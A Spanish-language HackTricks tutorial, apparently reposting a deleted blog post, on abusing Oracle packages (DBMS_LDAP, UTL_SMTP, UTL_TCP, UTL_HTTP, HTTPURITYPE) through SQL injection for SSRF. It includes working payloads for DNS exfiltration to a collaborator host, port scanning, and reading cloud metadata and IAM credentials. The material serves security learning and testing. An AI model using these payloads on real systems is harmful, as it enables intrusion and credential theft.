hacktricks/pentesting-web/sql-injection/oracle-injection.md

11 KiB

Inyección en Oracle

Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Red de HackTricks AWS)!

Otras formas de apoyar a HackTricks:

Sirve esta publicación como una copia de la máquina del tiempo del post eliminado de https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/.

SSRF

Usar Oracle para realizar solicitudes HTTP y DNS fuera de banda está bien documentado, pero como un medio para exfiltrar datos SQL en inyecciones. Siempre podemos modificar estas técnicas/funciones para realizar otros SSRF/XSPA.

Instalar Oracle puede ser realmente doloroso, especialmente si deseas configurar una instancia rápida para probar comandos. Mi amigo y colega en Appsecco, Abhisek Datta, me señaló a https://github.com/MaksymBilenko/docker-oracle-12c que me permitió configurar una instancia en una máquina Ubuntu AWS t2.large y Docker.

Ejecuté el comando de docker con la bandera --network="host" para poder imitar Oracle como una instalación nativa con acceso completo a la red, durante el transcurso de esta publicación de blog.

docker run -d --network="host" quay.io/maksymbilenko/oracle-12c

Paquetes de Oracle que admiten una especificación de URL o de Nombre de Host/Número de Puerto

Para encontrar cualquier paquete y función que admita una especificación de host y puerto, realicé una búsqueda en Google en la Documentación en línea de la Base de Datos de Oracle. Específicamente,

site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"

La búsqueda devolvió los siguientes resultados (no todos se pueden utilizar para realizar conexiones de red salientes)

  • DBMS_NETWORK_ACL_ADMIN
  • UTL_SMTP
  • DBMS_XDB
  • DBMS_SCHEDULER
  • DBMS_XDB_CONFIG
  • DBMS_AQ
  • UTL_MAIL
  • DBMS_AQELM
  • DBMS_NETWORK_ACL_UTILITY
  • DBMS_MGD_ID_UTL
  • UTL_TCP
  • DBMS_MGWADM
  • DBMS_STREAMS_ADM
  • UTL_HTTP

Esta búsqueda básica obviamente omite paquetes como DBMS_LDAP (que permite pasar un nombre de host y un número de puerto) ya que la página de documentación simplemente te redirige a una ubicación diferente. Por lo tanto, puede haber otros paquetes de Oracle que se puedan abusar para realizar solicitudes salientes que podrían haber sido pasados por alto.

En cualquier caso, echemos un vistazo a algunos de los paquetes que hemos descubierto y enumerado anteriormente.

DBMS_LDAP.INIT

El paquete DBMS_LDAP permite acceder a datos de servidores LDAP. La función init() inicializa una sesión con un servidor LDAP y toma un nombre de host y un número de puerto como argumento.

Esta función ha sido documentada anteriormente para mostrar la filtración de datos a través de DNS, como se muestra a continuación:

SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;

Sin embargo, dado que la función acepta un nombre de host y un número de puerto como argumentos, también puedes usar esto para funcionar como un escáner de puertos.

Aquí tienes algunos ejemplos

SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;

Un ORA-31203: DBMS_LDAP: PL/SQL - Init Failed. indica que el puerto está cerrado mientras un valor de sesión apunta a que el puerto está abierto.

UTL_SMTP

El paquete UTL_SMTP está diseñado para enviar correos electrónicos a través de SMTP. El ejemplo proporcionado en el sitio de documentación de Oracle muestra cómo puedes usar este paquete para enviar un correo electrónico. Para nosotros, sin embargo, lo interesante es la capacidad de proporcionar un host y una especificación de puerto.

A continuación se muestra un ejemplo básico con la función UTL_SMTP.OPEN_CONNECTION, con un tiempo de espera de 2 segundos.

DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;

Un ORA-29276: tiempo de espera de transferencia muestra que el puerto está abierto pero no se estableció una conexión SMTP, mientras que un ORA-29278: error transitorio SMTP: 421 Servicio no disponible indica que el puerto está cerrado.

UTL_TCP

El paquete UTL_TCP y sus procedimientos y funciones permiten comunicación basada en TCP/IP con servicios. Si se programa para un servicio específico, este paquete puede convertirse fácilmente en una forma de acceder a la red o realizar solicitudes completas del lado del servidor, ya que todos los aspectos de una conexión TCP/IP pueden ser controlados.

El ejemplo en el sitio de documentación de Oracle muestra cómo se puede usar este paquete para hacer una conexión TCP cruda para obtener una página web. Podemos simplificarlo un poco más y usarlo para hacer solicitudes a la instancia de metadatos, por ejemplo, o a un servicio TCP/IP arbitrario.

set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;

Interesantemente, debido a la capacidad de crear solicitudes TCP en bruto, este paquete también se puede utilizar para consultar el servicio de metadatos de instancia de todos los proveedores de nube, ya que el tipo de método y los encabezados adicionales se pueden pasar dentro de la solicitud TCP.

UTL_HTTP y Solicitudes Web

Quizás la técnica más común y ampliamente documentada en cada tutorial de Inyección SQL Oracle Fuera de Banda es el paquete UTL_HTTP. Este paquete está definido por la documentación como - El paquete UTL_HTTP realiza llamadas de Protocolo de Transferencia de Hipertexto (HTTP) desde SQL y PL/SQL. Puedes usarlo para acceder a datos en Internet a través de HTTP.

select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;

Puedes además utilizar esto para realizar un escaneo de puertos rudimentario con consultas como:

select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;

Un ORA-12541: TNS:no listener o un TNS:operation timed out es una señal de que el puerto TCP está cerrado, mientras que un ORA-29263: HTTP protocol error o datos es una señal de que el puerto está abierto.

Otro paquete que he utilizado en el pasado con éxito variado es el método GETCLOB() del tipo abstracto Oracle HTTPURITYPE que te permite interactuar con una URL y proporciona soporte para el protocolo HTTP. El método GETCLOB() se utiliza para recuperar la respuesta GET de una URL como un tipo de dato CLOB.[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: